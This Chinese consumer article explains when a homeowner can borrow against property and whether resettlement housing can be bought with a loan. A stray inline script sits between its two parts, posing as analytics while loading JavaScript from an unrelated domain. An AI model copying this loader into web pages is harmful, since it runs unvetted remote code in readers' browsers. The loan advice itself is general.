缺乏周转资金的时候有房可以贷款吗

日常生活中经常会出现手头吃紧，资金周转不过来的情况，这时候就会相应的考虑贷款来帮忙。而贷款，最先想到的就是银行，那种网贷是不推荐的。有房可以贷款吗？答案是不一定。需要分几个情况来讲有房可以贷款吗的问题。 可以抵押的房屋包含商品房（能上市出售的）、标准生产厂房、商住楼等。其中常见的是商品房，作为住房进行抵押的时候必须满足三证齐全（房产证,土地使用证,契证），房龄不宜过大（一般不超过20年），面积要大于60㎡。 如果是小产权房，那么有房可以贷款吗？答案不可以的，这种类型的房子在市场上无法流通，不能进入市场流通，因为没有国家颁发的土地使用证和预售许可证只有购房合同是不能在房管局备案。如果是按揭房，那么有房可以贷款吗？按揭房在部分银行是可以贷款，需要参考当地银行政策，相当于是名下的房产抵押给银行申请的信用贷，银行则会根据房产价值去除贷款余额，剩余的资金额度给客户做贷款使用。 如果是想尽量贷到比较额度的贷款，建议尽量向银行提供能证明资金财力的依旧，比如其他房产资料、稳定收入、职业、学历、家庭关系等等。 除去银行，一些网贷机构也是可以贷款的，并且对客户的信用要求较低，因此利息也高。有的贷款机构，会打着银行贷款的名义吸引客户。甚至有不法网贷产生利滚利的可怕现象，大家在贷款的时候一定擦亮眼睛，选择正规的贷款机构。所以有人问有房可以贷款吗？这些贷款机构不了解您的情况就会回答可以贷款，并且可能会降您的信息二次倒卖，对正常生活产生极大的影响。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

购买安置房可以贷款吗

安置房也是市场上售卖的一种房子，它跟商品房是不太一样的，安置房大多是由安置居民所出售的，价格会比商品房低一些，但是会比商品房承担更多的风险以及责任。由于房价不断上涨，在看到安置房的价格比较低，地段又不错后，不少人也会冒险购买安置房。但就算是买安置房也不能全款购买，有些人就打算贷款。那么，购买安置房可以贷款吗?购买安置房可以贷款吗安置房的土地性质属于划拨，如果没有房屋产权证不能贷款，有房屋产权证可以贷款，安置房如果是政策性服务，那么估计银行不接受作为抵押物，也就不能进行抵押贷款。安置房为大产权，可以向银行贷款，公积金贷款也没有问题。安置房贷款条件：1、年满18周岁，具有完全民事行为能力的自然人;2、具有稳定的职业和收入、信用良好，有偿还能力;3、银行规定的其它条件。当然，一些省市对于安置房贷款的条件要求也不一样。购买安置房要注意1、安置房能不能贷款如果没有房屋产权证不能办理贷款，有房屋产权证是可以贷款的。具体要看不同银行是否愿意接受抵押，有的安置房在公积金管理中心也可以办理贷款。2、房产证问题安置房的土地性质是归为国有可以办到产权证的，安置房为集资的土地则是办不到产权证的。有产证的安置房买卖才是合法的，如果没有产权证就是小产权房，购房者也就没有产证，落户是不可能的，一旦房主反悔，购房者权益是得不到保护的。3、房屋质量问题安置房的利润往往是被套死的，建筑商往往能偷工减料就偷工减料以增加利润。当然也有比较好的安置房师范工程，这样的安置房质量相对会好一些。4、交易时间问题(1)上市时间限制很多安置房在交易的时间上政府会有所限制，因为避免影响安置房的低价震荡楼市。一般是几年之内不让上市交易。(2)安置房交易时间长风险大安置房价格便宜，但是如果房价出现波动，房主为了获得更大利益，有可能过户时候转过给出价高的购房者。5、房屋设计问题安置房一般电梯配比较低，这样势必或造成生活上的拥挤，生活质量得不到保障。购买安置房可以贷款吗?并不是所有的安置房都可以购买的，在买安置房之前必须要好好看清楚，确保买到的安置房是可以的不会有太大的风险。同时购买安置房需要贷款的话，最好多打听下贷款的要求和条件，看看自己是否符合相关的要求，如果能够申请公积金贷款，尽量去申请安置房，这样日后每个月的还月供压力才不会那么高，对个人生活也没有影响。